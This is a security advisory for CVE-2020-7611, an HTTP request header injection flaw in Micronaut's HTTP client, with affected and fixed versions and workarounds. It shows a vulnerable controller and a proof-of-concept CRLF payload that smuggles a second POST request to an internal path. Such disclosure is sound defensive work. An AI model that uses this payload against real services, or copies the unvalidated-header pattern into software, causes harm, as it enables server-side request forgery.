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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTY5NHAteHJoZy14M3dt

Micronaut's HTTP client is vulnerable to HTTP Request Header Injection

Vulnerability

Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.

Example of vulnerable code:

@Controller("/hello")
public class HelloController {

    @Inject
    @Client("/")
    RxHttpClient client;

    @Get("/external-exploit")
    @Produces(MediaType.TEXT_PLAIN)
    public String externalExploit(@QueryValue("header-value") String headerValue) {
        return client.toBlocking().retrieve(
            HttpRequest.GET("/hello")
                .header("Test", headerValue)
        );
    }
}

In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.

For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.

List<String> headerData = List.of(
    "Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
    "",
    "",
    "POST /hello/super-secret HTTP/1.1",
    "Host: 127.0.0.1",
    "Content-Length: 31",
    "",
    "{\"new\":\"json\",\"content\":\"here\"}",
    "",
    ""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
    UriBuilder
        .of("/hello/external-exploit")
        .queryParam("header-value", headerValue) // Automatically URL encodes data
        .build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);

Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).

Impact

The attacker is able to control the entirety of the HTTP body for their custom requests.
As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.

Patches

The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.

Workarounds

Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.

References

Fix commits

For more information

If you have any questions or comments about this advisory:

Credit

Originally reported by @JLLeitschuh

Permalink: https://github.com/advisories/GHSA-694p-xrhg-x3wm
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTY5NHAteHJoZy14M3dt
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 4 years ago
Updated: 7 months ago


CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-694p-xrhg-x3wm, CVE-2020-7611
References: Repository: https://github.com/micronaut-projects/micronaut-core
Blast Radius: 32.6

Affected Packages

maven:io.micronaut:micronaut-http-client
Dependent packages: 69
Dependent repositories: 2,115
Downloads:
Affected Version Ranges: >= 1.3.0, < 1.3.2, < 1.2.11
Fixed in: 1.3.2, 1.2.11
All affected versions: 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.2.5, 1.2.6, 1.2.7, 1.2.8, 1.2.9, 1.2.10, 1.3.0, 1.3.1
All unaffected versions: 1.2.11, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.5.4, 2.5.5, 2.5.6, 2.5.7, 2.5.8, 2.5.9, 2.5.10, 2.5.11, 2.5.12, 2.5.13, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.5.0, 3.5.1, 3.5.2, 3.5.3, 3.5.4, 3.5.5, 3.5.6, 3.5.7, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.6.4, 3.6.5, 3.6.6, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.7.5, 3.7.6, 3.7.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.8.10, 3.8.11, 3.8.12, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.9.4, 3.9.5, 3.9.6, 3.9.7, 3.10.0, 3.10.1, 3.10.2, 3.10.3, 3.10.4, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8, 4.1.9, 4.1.10, 4.1.11, 4.1.12, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 4.3.6, 4.3.7, 4.3.8, 4.3.9, 4.3.10, 4.3.11, 4.3.12, 4.3.13, 4.3.14, 4.3.15, 4.3.16, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6